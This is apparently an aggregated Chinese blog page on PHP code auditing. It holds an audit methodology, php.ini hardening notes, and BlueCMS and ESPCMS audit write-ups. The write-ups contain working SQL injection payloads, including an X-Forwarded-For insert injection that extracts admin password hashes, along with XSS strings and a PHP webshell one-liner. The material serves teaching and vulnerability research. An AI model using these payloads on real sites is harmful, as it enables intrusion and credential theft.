-
代码审计
2017-12-20 16:10:21代码审计代码审计
通常是白盒测试时使用的方法,检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议
为何进行代码审计
项目规模越来越庞大,业务复杂度越来越高
开发人员水平参差不齐,而且不懂安全
开发工作外包,大量使用第三方工具,第三方库,代码安全不能保障
破坏永远比建设容易,很可能一个小的疏忽导致难以估计的损失
审计方法
人工
对审计工作的要求很高
- 有编程基础
- 掌握目标程序语言的语法语义
- 学习常见的代码缺陷
- 经验很重要工具
notepad++、sublime只是辅助工具
seay代码审计工具(exe程序)
rips(将文件夹放到www目录下,访问网站即可)
fortify(商业版的软件,要收费,且收费不菲)
firefox(有很多插件很实用,FoxyProxy、Hackbar、ModifyHeaders、User Agent Switcher、Firebug)
Burp Suite(只能说这是不可缺少的神器)
审计步骤
基础准备
- 获得源码,大多数php程序都是开源的,去官网可以直接下载,站长之家,A5源码也可以下载
- 安装网站,本地搭建网站,一边审计一边调试,实时跟踪各种动态变化
把握大局
- 网站结构,浏览源码文件夹,了解网站大致目录
- 入口文件,index.php文件一般是网站门户,在这个文件中可以知道网站的架构、运行流程、包含哪些配置文件,包含哪些过滤文件及包含哪些安全过滤文件,了解网站的业务逻辑
- 配置文件,一般类似config.php等文件,保存一些数据库相关信息、网站的一些信息。如果是gbk则可能存在宽字节注入。如果变量的值用双引号、则可能存在双引号解析代码执行的问题。
- 过滤功能,通过详读 公共函数文件 和 安全过滤文件 等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在哪里被过滤了,如何过滤的,能否绕过过滤的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用
addslasher()处理?
审计方法
通读全文法
这种方法一般是企业对自身产品的审计,对于小型应用,可以尝试读一下,大型应用不太现实
刚刚的把握大局也可以应用通读全文法,根据入口文件进入各个功能进行审计
敏感函数参数回溯法
这个方法是最高效,最常用的方法
大多数漏洞的产生是因为函数的使用不当导致的。我们只要找到这样的一些使用不当的函数,就可以快速挖掘想要的漏洞。
seay代码审计工具,可以帮助我们快速匹配高危函数、关键函数、敏感关键字
分析判断敏感函数的上下文,追踪参数源头,尝试控制可控的参数变量
定向功能分析法
主要是根据程序的业务逻辑来说审计的
首先是用浏览器逐个访问浏览,看看这套程序有那些功能。根据相关功能,大概推测可能存在那些漏洞
常见功能漏洞:
程序初始安装、
站点信息泄漏、
文件上传、
文件管理、
登陆认证、
数据库备份恢复、
找回密码、
验证码方法总结
把握大局-定向功能-敏感函数参数的回溯
php配置文件php.ini
启用全局变量
register_globals = on
有些程序例如OSC需要启用全局变量.
这个设置的作用是关闭自动注册的全局变量在设置为On的时候,php会将POST,_GET,COOKIE,_ENV,SESSION数组中的key=>value直接注册为变量,比如_POST[‘username’]就会被注册为$username。
虽然方便了调用,但是会有三个问题:
- 不知道变量是哪里来的,POST来的还是_SESSION来的呢?非常不方便别人阅读代码。
- 变量之间互相覆盖,引起不必要的麻烦。
- 安全问题。所以要设置为Off。
register_globals 为 on 的情况,PHP4 之前默认开启,PHP5 以后默认关闭。
短标签
short_open_tag = On
可以使用短标签变形一句话绕过检测安全模式
safe_mode = off
php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,但是默认的php.ini是没有打开安全模式的禁用类/函数
disable_classes = , disable_functions = , disable_functions = opendir,readdir,scandir,fopen,unlink
禁用某些类,禁止某些函数。接受逗号分隔的函数名列表作为参数。只能设置在 php.ini 中。设置上传文件大小
file_uploads = on
upload_max_filesize = 8M文件上传临时目录
upload_tmp_dir =
上传临时文件保存的目录,需要可写,如果不设置,则采用系统临时目录。(/tmp,c:\windows\temp)用户访问目录限制
open_basedir = .:/tmp/
使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问不应该访问的文件,一定程度上限制了phpshell的危害.我们一般可以设置为只能访问网站目录,表示允许访问当前目录(即PHP脚本文件所在之目录)和/tmp/目录,有效防止php木马跨站运行。
linux用冒号分隔,windows下用分号分隔错误信息控制
display_error = On
是否将错误信息作为输出的一部分,站点发布后应该关闭这项功能,以免暴露信息。调试的时候当然是要On的,不然就什么错误信息也看不到了。设置错误报告级别
error_reporting = E_ALL
这个设置的作用是将错误级别设置为最高,可以显示所有的问题,方便查错,也有利于写出高质量的代码。日志级别是一些常量,在php.ini中有写,推荐使用 E_ALL | E_STRICT,即所有级别。错误日志
error_log =
错误日志的位置,必须对web用户可写入,如果不定义则默认写入到web服务器的错误日志中去 。
log_errors = on
如上所说,建议将错误日志输出到文件,而不是直接输出到前端。
log_errors_max_length = 1024
错误日志关联信息的最大长度,设为0表示无限长度魔术引号
本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
magic_quotes_gpc = On
为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。 当 magic_quotes 为 on,所有的 ’ (单引号)、” (双引号)、\(反斜杠)和 NULL 被一个反斜杠自动转义。
转义耗时,浪费资源是否允许打开远程文件
allow_url_fopen = on
本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。是否允许包含远程文件
allow_url_include = off
本选项激活允许 include, include_once, require, require_once等函数使用 URL 形式的 fopen 封装协议。简单来说就是可以包含远程文件 -
php代码审计
2016-03-28 02:00:51代码审计 -
代码审计--源代码审计思路
2021-02-24 18:27:48但是同样会有很多弊端,通过逆向回溯的方式只能对通用漏洞进行快速审计,不能全面挖掘更有价值的漏洞,如果在时间允许的情况下,企业中安全运营对自身产品进行代码审计,就需要了解整个应用的业务逻辑,比如越权类... -
Python动态代码审计_代码审计工具有哪些
2020-04-22 15:37:272 0 1 8 YOUR COMOANYS NAME Python动态代码审计 演讲人聂心明 自我介绍 亚信安全软件工程师 n0tr00t 团队成员 个人博客/niexinming 个人github地址/niexinming 为什么会想到动态代码审计 大型项目代码结构复杂 有些... -
帮助新手学习代码审计,分享WEB安全代码审计文章整理打包-附件资源
2021-03-05 15:27:02帮助新手学习代码审计,分享WEB安全代码审计文章整理打包-附件资源 -
代码审计学习-BlueCMS框架代码审计
2020-11-05 18:44:56第一次的代码审计--BlueCMS代码审计 之前总说要学习代码审计,但每次面对大量代码时,又没什么开发经验,都是浅尝即止,面对几千行的代码毫无开始的头绪。(看来又印证了那句话:基础决定上层建筑)作为萌新 最开始...第一次的代码审计--BlueCMS代码审计
之前总说要学习代码审计,但每次面对大量代码时,又没什么开发经验,都是浅尝即止,面对几千行的代码毫无开始的头绪。(看来又印证了那句话:基础决定上层建筑)作为萌新 最开始我还是先去看了许多大佬的文章,了解一下他们的学习路线,并且学习了一些新的思路。这次挑了个小众的CMS入手–BlueCMS作为我的代码审计开始,顺便分享一些自己的总结。
环境配置:
BlueCMS v1.6 sp1
windows7
PHP 5.4.45 + Apache +mysql 5.7.26
项目结构分析
/admin 存放有关后台管理员的所有文件
/api api接口设置
/data
/images 存放图片样式文件
/include 包含全局的文件
函数定义文件、数据库配置、通用过滤配置文件、文本编辑器、支付界面、插件、
/install 网站安装路径
/js 存放js文件
/temlates 存放一些前端的静态模板文件
/uc_client
文章目录
开始审计
1、先对配置文件进行了审计
include/common.inc.php
文件(1)查看是否对输入输出进行限制
存在统一过滤,必对带有单引号的变量值进行转义
先判断是否开启了
get_magic_quotes_gpc()
如果没有的话会用自定义的函数deep_addslashes
对预定义字符进行加反斜杠处理PS:这里还是自定义的函数过滤更多
漏洞:进行源码分析发现其实对输入输出还是有遗漏
未对传入的$_SERVER值进行检测(伪造client-ip和x-forwarded-for)
PS:可以全局搜索看看getip类似的函数名,查看代码如何获取ip,是否有利用点
漏洞点
ad_js.php存在sql注入
页面功能介绍:在后台管理中模块管理的添加广告所涉及的功能
在文件
common.inc.php
中对网站的输入有统一的过滤方法,对
$_post、$_get、$_cookies和$_request
统一进行数据处理。代码如下:if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
PS:具体的可以再看看之前写的。
对ad_js.php的源码进行审计,通过$_GET[] 获取ad_id的值,直接拼接执行sql语句。
追踪函数
getone()
,是自定义的函数,代码在mysql.class.php
中,用来查询数据库,代码如下:利用:
尝试直接对ad_js.php页面进行注入测试
因为是int型注入 直接拼接sql语句,判断出字段数有7个,且只显示第7个字段的值。
ad_js.php?ad_id=3 union select 1,2,3,4,5,6,7
当执行语句错误时(直接显示sql语句)
已经知道数据库的字段数和显示位,并且开发者并未做过多的WAF防御,那么我们就可以执行任意sql语句了
例:
爆破当前数据库的表
ad_js.php?ad_id=3 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
获取各表中的字段
ad_js.php?ad_id=3 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626C75655F6164
PS:因为这里对单引号进行了过滤 需要将表名转成16进制进行查询
个人用户注册存在反射型xss攻击
定位:user.php?act=reg
访问user.php,会先接受两个变量from,后端根据act的参数进行执行动作
当
$act
值为reg
时,from
的值会渲染到前端页面value=''
中 ,从而导致xss攻击因为在全局配置文件中本身就使用了
addslashes
对字符进行过滤,但影响不大,构造语句进行拼接触发xssuser.php?act=reg&from="/><button onclick=alert(1)></button> user.php?act=reg&from="><img src='' onerror=alert(1)>
个人资料编辑存在存储型xss
定位:user.php的邮箱参数
该漏洞有两个地方都可以触发
- 注册账号
- 修改个人资料
通过代码审计和黑盒测试发现,在对email值进行添加或修改时,直接Post进数据库,未对其做任何过滤和检测,从而引起的xss。其他的都做了限制(例如 限制账号和密码长度)
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : ''; $pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : ''; $pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : ''; $email = !empty($_POST['email']) ? trim($_POST['email']) : ''; $safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : ''; $from = !empty($from) ? base64_decode($from) : 'user.php'; if(strlen($user_name) < 4 || strlen($user_name) > 16){ showmsg('用户名字符长度不符'); } if(strlen($pwd) < 6){ showmsg('密码不能少于6个字符'); } if($pwd != $pwd1){ showmsg('两次输入密码不一致'); } if(strtolower($safecode) != strtolower($_SESSION['safecode'])){ showmsg('验证码错误'); } if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){ showmsg('该用户名已存在'); } if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){ showmsg('该用户名已存在'); }
评论模块存在SQL注入
定位:漏洞位置comment.php 漏洞页面:news.php?id=
之前在上文也提到过,在对全局配置
include/common.inc.php
进行审计发现配置文件中对
$_post $_get $_cookies $_request
输入统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们可以对ip通过client-ip或x-forwarded-for等进行伪造。代码如下:/include/comment.fun.php
function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { //获取客户端用代理服务器访问时的真实ip 地址 $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
网站直接获取ip,并没有对IP格式进行校验,因此我们可以伪造ip。
这里是使用了Seay工具对整个项目进行扫描发现
/include/comment.fun.php
文件中的getip()可疑危险函数。
对getip()进行全文搜索查看调用,发现comment.php,进一步追踪。
comment.php为文章评论功能,跟踪其函数调用位置是一段插入SQL语句命令,代码如下:通过函数getip()获取$ip变量的值,直接插入到了SQL语句中并执行,可以看出应该存在SQL注入。注入点在文章进行评论的地方。
进入文章进行发布评论
PS:因为bluscms本身代码没开发完整,在发表文章时出现点问题,解决方法见该漏动点最后的地方。
分析SQL语句
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
一共有9个参数,因为insert语句可以一次插入多条数据,那么在构造$ip的内容时,可以通过闭合掉前面的部分,在拼接上后面的部分,使之变成完整的语句即可。通过测试发现其显示位是
$content
变量
通过X-Forwarded-For构造payload:X-Forwarded-For:1','1'),('','1','0','1','6',(select concat(admin_name,pwd) from blue_admin),'1603939754','9
通过查看评论,可以看到admin用户密码的hash值:(其值为admin)
解决无法发表文章问题补充:
因为需要制定文章分类,但代码并没提供相关分类功能,那么自己把那个分类逻辑注释了
打开文件
uploads/user.php
定位到act=add_news
,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。
支付端口存在文件包含漏洞
定位:use.php?act=pay
Ps:该漏洞在真实环境中产生的可能性基本不大,虽然没影响,但我觉得还是应该提及一下
分析源码,未对参数
$_POST['pay']
做安全检测,直接进行拼接。elseif ($act == 'pay'){ include 'data/pay.cache.php'; $price = $_POST['price']; $id = $_POST['id']; $name = $_POST['name']; if (empty($_POST['pay'])) { showmsg('对不起,您没有选择支付方式'); } include 'include/payment/'.$_POST['pay']."/index.php"; }
有经验的人肯定会立马想到截断,然后就可以实现任意文件包含
但这里本身全局配置就对输入做了检测, 因此无法使用%00截断
PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。
然后我们还可以考虑使用路径长度截断,使用字符.或者/.或者./来截断
操作系统对目录有最大长度的限制,linux最长4096,windows最长256,但长度超过最大限制时
但它的要求是PHP 版本小于 5.2.8 ,现在基本没有比他小的PHP版本了吧。
因为我用的是phpstudy,他也没有小于5.2.8版本的php版本,无法演示,就大致说一下思路吧:
利用
user.php
中的修改个人资料中的上传头像,上传一个图片马(内容为当执行该文件时会创建一个新文件并写入一句话木马)<?php fputs( fopen("test.php","w") , '<?php eval($_POST[test]);?>') ?>
ps:因为在act=pay 的地方 他是通过post传入参数,我们无法直接通过
pay
参数上传木马使用蚁剑连接,但可以利用跳板的思路,先利用include,执行图片马生出一个一句话木马后,再通过蚁剑连接上去。具体测试案例可以参考文章:https://www.freebuf.com/news/196190.html
留言栏IP可伪造
定位:guest_book.php
这是一个提供了留言栏功能的页面,根据源码,构造参数,发送一条留言,显示如下:
居然显示了IP地址,查看源码中的SQL语句:$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
但似乎并没有使用在评论模块中的getip()函数
但利用burp抓包添加XFF头测试后发现确实可以任意修改IP地址,但唯一存在问题的是他限制了IP字段的长度最大是15,猜测应该是在创建的表时对字段长度进行了设置。然后思路断了,无法利用,不知道有没有大佬有骚操作。
零散记录(杂)
在审计时发现的一些有趣的写法
1、安全配置-1
在许多的配置文件(还不确定是不是只是配置文件或者…)的头部会写的写上这么一堆代码
if(!defined('IN_BLUE')) { die('Access Denied!'); }
效果:判断是否定义
IN_BLUE
,未定义则当前运行文件直接结束作用:防止不是从入口文件进入,文件被任意读取和使用,于是项目在对需要调用这些配置文件的代码头上都写上了一句
define("IN_BLUE",true);
2、安全配置-2
初看该文件 有获取参数,有sql查询,而且参数也是直接拼接,认为存在sql注入
但仔细查看却并不存在sql注入。
对获取的参数都经过了intval()函数处理(只取整数部分的值),这是一种非常有效且直接的过滤方式,使用的是白名单。使该文件安全,这个框架的很多获取参数的地方使用的都是
intval
3、开发思路-1
在我们显示页面(这里参考user.php中的uc_user_login)所有的函数写法都是
举例:
function uc_user_login($username, $password) call_user_func(UC_API_FUNC, 'user', 'login')
自定义函数
uc_user_login()
,使用call_user_func
回调函数而
UC_API_FUNC
根据后面的参数调用的是不同的API接口这里是调用
uc_client/control/use.php
的onlogin()
函数PS:可能我的理解还是有问题,大家可以查阅一些资料进一步了解 关键词:ucenter通信、登录原理 、UCAPI
4、小方法
-
快速查询
.$
看看有没有直接进行拼接的字符串变量,引起SQL注例如:
ad_js.php
中的SQL注入
-
先按照文件目录访问一遍所有的文件,查看其页面显示,简单过一遍代码,尝试可以使用的参数
-
使用代码审计工具(例如Seay)进行辅助,直接定位可疑函数
小结
代码审计方式
- 追踪危险函数(查询关键字)
- 追踪数据流
- 按功能进行审计
- 通读全文
我的审计思路:
最开始先分析一下全局配置文件:
1、对关键字$_GET,$_POST的搜索,是否进行了全局过滤字符
2、查看主页index包含的配置文件
然后进行一个个文件进行审计,但我只查看数据流信息(获取get和post参数的代码)
因为我发现当自己直接从整个项目框架入手时会变得不知所措,不知道到底该看什么,不该看什么,不如把目标放近,从一个个文件出发,只关注何处进行了获取参数。
踩坑
最开始我确实是想一行行进行审计,但我开始真正的代码审计时,发现一行行的读过去是方法根本不可能的,费时又费力,我们进行代码审计的目标就是要学会如何能快速定位目标,并且发现目标问题(这个水平真的太强了,跟学长一起打CTF,虽然他是个Pwn选手,但帮忙看web源码分析时总能非常快速的定位问题,并且他提出的永远是这个地方肯定是这样的,而不是这里可能是这样的)。
代码审计流程学习建议
bwapp、dvwa(漏洞靶场)->blueCMS->小众CMS->dede、wordpress->框架
我现在先尝试的做法:
我是跳过了DVWA的审计,先尝试对一个小众CMS入手(blueCMS),先通读全文,了解了基本功能和结构后,开始正式的代码审计,根据追踪数据流进行代码审计,在审计中会碰到一些常见的功能(例如文件上传,SQL注入),这时候我可能会回去看看DVWA上的对于的web漏洞的源码是怎么写的(因为他既有危险的写法也有完全无危险的写法)。在对数据流都审计完后再看看剩下的一些还没审计的代码审计搭配的做法:根据漏洞靶场的源码了解某一漏洞的形成,根据我要审计的cms再看看其他网上的审计文章教程
适合自己的方法才是最好的方法
-
代码审计001-代码审计思路
2019-07-20 17:17:18参考尹毅的代码审计一书。 常见的代码审计思路有四种: 1.根据敏感关键字回溯参数传递过程 2.查找可控变量,正向追踪变量传递过程 3.寻找敏感功能点,通读功能点代码 4.直接通读全文代码 ...参考尹毅的代码审计一书。
常见的代码审计思路有四种:
1.根据敏感关键字回溯参数传递过程
2.查找可控变量,正向追踪变量传递过程
3.寻找敏感功能点,通读功能点代码
4.直接通读全文代码 -
Java代码审计
2019-08-06 23:16:29该课程从代码审计与渗透测试优缺点对比讲起,讲解了为什么前端防护都是纸老虎、如何从后端防护来防止漏洞被利用。学好该课程对于渗透的朋友能更彻底的了解漏洞的原理、开发的朋友能写出没有漏洞的代码。课程当中会... -
php代码审计【17】代码审计总结
2020-07-02 22:24:13代码审计总结常见的代码审计思路有以下四种:
- 根据敏感关键字回溯参数传递过程;
- 查找可控变量,正向追踪变量传递过程;
- 寻找敏感功能点,通读功能点代码;
- 直接通读全文代码。
- 敏感函数回溯参数过程
根据敏感函数来逆向追踪参数
是目前使用的最多的一种方式,因为大多数漏洞是由于函数的使用不当造成的。另外非函数使用不当的漏洞,如SQL注入,等以后学习再详细介绍。这种方式的优缺点如下:
优点:只需搜索相应敏感关键字,即可快速挖掘想要的漏洞,可定向挖掘,高效、高质量;
缺点:由于没有通读代码,对程序整体架构了解不够深入,在挖掘漏洞时定位利用会花点时间,另外对逻辑漏洞挖掘覆盖不到。
espcms注入挖掘案例:下载网址:http://down.chinaz.com/soft/27695.htm
打开seay源代码审计系统,点击左上角新建项目,选择下载的espcms文件夹,点击自动审计,开始审计,得到可能存在漏洞,漏洞文件的路径,和漏洞代码列表。我们挑选其中的一条代码
双击直接定位到这行代码,选中该变量后,可以看到变量的传递过程,在左侧点击$parentid函数,在下面详细信息的地方可以看到$parentid变量获得。
右键选中这行代码,定位函数主体accept,点击右键,选择定位函数
可以看到跳转到了class_function.php文件,代码如下:
可以看到这是一个获取GET、POST、COOKIE参数值得函数,我们传入的变量是parentid和R,则代表在POST、GET中都可以获取parentid参数,最后经过一个daddslashes()函数,实际上是包装的addslashes()函数,对单引号等字符进行过滤。看前面的SQL语句是这样的:
$sql = “select * from $db_table where parentid=$parentid”;
并不需要单引号来闭合,可以直接注入。
在citylist.php文件看到oncitylist()函数在important类中,选中该类名右键点击,选择全局搜索
可以看到index.php文件有实例化该类,代码如下:
$archive = indexget(‘archive’, ‘R’); $archive = empty($archive) ? ‘adminuser’ : $archive; $action = indexget(‘action’, ‘R’); $action = empty($action) ? ‘login’ : $action; $soft_MOD = array(‘admin’, ‘public’, ‘product’, ‘forum’, ‘filemanage’, ‘basebook’, ‘member’, ‘order’, ‘other’, ‘news’, ‘inc’, ‘cache’, ‘bann’, ‘logs’, ‘template’); if (in_array($point, $soft_MOD)) { include admin_ROOT . adminfile . “/control/$archive.php”; $control = new important(); $action = ‘on’ . $action; if (method_exists($control, $action)) { $control->$action(); } else { exit(‘错误:系统方法错误!’); }
这里可以看到一个include文件的操作,可惜经过了addslashes()函数无法进行阶段使其包含任意文件,只能包含本地的PHP文件,往下是实例化类并且调用函数的操作,根据代码可以构造出利用EXP(需要登录后才能用):http://192.168.189.129/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,user(),4,5
通读全文代码通读全文代码也有一定的技巧,否则很难读懂Web程序的,也很难理解代码的业务逻辑。首先我们要看程序的大体结构,如主目录有哪些文件,模块目录有哪些文件,插件目录有哪些文件,另外还要注意文件的大小,创建时间,就可以大概知道这个程序实现了那些功能,核心文件有哪些。
在看目录结构的时候,特别注意以下几个文件:
1. 函数集文件
函数集文件通常命名中包含functions或者common等关键字,这些文件里面是一些公共的函数,提供给其他文件统一调用,所以大多数文件都会在文件头部包含到其他文件。寻找这些文件的一个技巧就是打开index.php或者一些功能性文件。2. 配置文件
配置文件通常命名中包含config关键字,配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息。从这个文件可以了解程序的小部分功能,另外看这个文件的时候注意观察配置文件中参数是用单引号还是双引号,如果是双引号,则很可能会存在代码执行漏洞。3. 安全过滤文件
安全过滤文件对我们做代码审计至关重要,通常命名中有filter、safe、check等关键字,这类文件主要是对参数进行过滤,比较常见的是针对SQL注入和XSS过滤,还有文件路径、执行的系统命令的参数。4. index文件
index是一个程序的入口文件,所以我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件。根据功能点定向审计
根据经验我们简单介绍几个功能点会出现的漏洞:
1. 文件上传功能
这里说的文件上传在很多功能点都会出现,比如像文章编辑、资料编辑、头像上传、附件上传,这个功能最常见的漏洞就是任意文件上传了,后端程序没有严格地限制上传的格式,导致可以上传或者存在绕过的情况,而除了文件上传功能外,还经常发生SQL注入漏洞。2. 文件管理功能
在文件管理功能中,如果程序将文件名或者文件路径直接在参数中传递,则很有可能会存在任意文件的操作漏洞,比如任意文件读取等,利用的方法是在路径中使用../或者..\跳转目录。
除了任意文件操作漏洞外,还可能会存在XSS漏洞,程序会在页面中输出文件名,而通常会疏忽对文件名进行过滤,导致可以在数据库中存入带有尖括号等特殊符号的文件名,最后在页面显示的时候就会被执行。3. 登录认证功能
登录认证功能不是指一个过程,而是整个操作过程中的认证,目前的认证方式大多是基于Cookie和Session,不少程序会把当前登陆的用户账号等认证信息放到Cookie中,或许是加密方式。进行操作的时候直接从Cookie中读取当前用户信息,这里就存在一个算法可信的问题,如果这段Cookie信息没有加salt一类的东西,就可以导致任意用户登录漏洞,只要知道用户的不扥信息,即可生成认证令牌,甚至有的程序会直接把用户名放到Cookie中,操作的时候直接读取这个用户名的数据,这也是常说的越权漏洞。4. 找回密码功能
找回密码虽然看起来不像任意文件上传这种可以危害到服务器安全的漏洞,但是如果可以重置管理员的密码,也是可以间接控制业务权限甚至拿到服务权限的。找回密码功能的漏洞有很多利用场景,最常见的是验证码爆破。目前特别是APP应用,请求后端验证码的时候大多是4位,并且没有限制验证码的错误次数和有效时间,于是就出现了爆破的漏洞。
————————————————
总结:我个人还是比较喜欢功能定向审计和敏感关键字回溯,哈哈哈,纪念自己又一天的坚持。 -
php代码审计技巧_代码审计php代码执行
2021-01-30 03:36:51“作者:小刚一位苦于信息安全的萌新小白帽,记得本实验仅用于信息防御教学,切勿用于它用途”前言近期在学习php的代码审计,推一下这本书啊《代码审计 企业级Web代码安全架构_尹毅著》在学习代码执行和命令执行中... -
php代码审计_PHP代码审计 | 记一次CMS代码审计
2020-12-06 16:19:17记录一下代码审计的分析流程。1.系统重装漏洞利用条件安装完成后未删除install.php文件。漏洞分析定位到install.php,第6行位置判断了是否存在install.lock文件,然后没有下文了。。。可能是开发失误。漏洞复现安装... -
seay代码审计工具
2020-10-06 03:31:26seay代码审计工具 亲测可用 seay代码审计工具 亲测可用 寻找漏洞 亲测可用 -
Seay代码审计工具
2019-04-11 09:59:39Seay代码审计工具,代码审计可以使用。 -
php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例1
2020-12-06 16:19:49第34课代码审计实战之SQL注入漏洞...代码审计实战之SQL注入漏洞现代开发框架对数据库操作的封装当今主流的框架中,基本上都会对数据库的操作做一层封装, 上面的代码中使用了参数绑定,在sql语句中出现了 :name 这个... -
【代码审计】JAVA代码审计
2018-01-31 13:44:00大家总是在找Java的代码审计的文章,但好像很多人选择性失明。 其实Java没有和PHP一样的简单,所以你觉得你看到的文章不是入门级的所以不认为这个是代码审计,所以会有种Java文章很少的错觉,其实这些都是代码审计... -
代码审计之_钓鱼后台代码审计
2020-04-24 00:24:28代码审计之_钓鱼后台代码审计前言开始审计目录结构xff注入测试base64_decode函数构造绕过修改管理密码结束 前言 今天群里有位表哥发了一个钓鱼网站,另一位表哥又说有漏洞,于是就找他要到了源码,并且提供了一些... -
php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2
2020-12-06 16:19:49代码审计实例之任意文件上传文件上传知识背景文件上传这个功能在大部分系统中都存在,但是要做好一个文件上传和下载功能的话就非常吃经验,因为涉及到很多的边界条件. 首先,文件上传首先就要校验文件类型是否在... -
代码审计报告
2018-05-08 10:02:05代码审计报告,安全行业要写报告的可以参考一下!报告框架!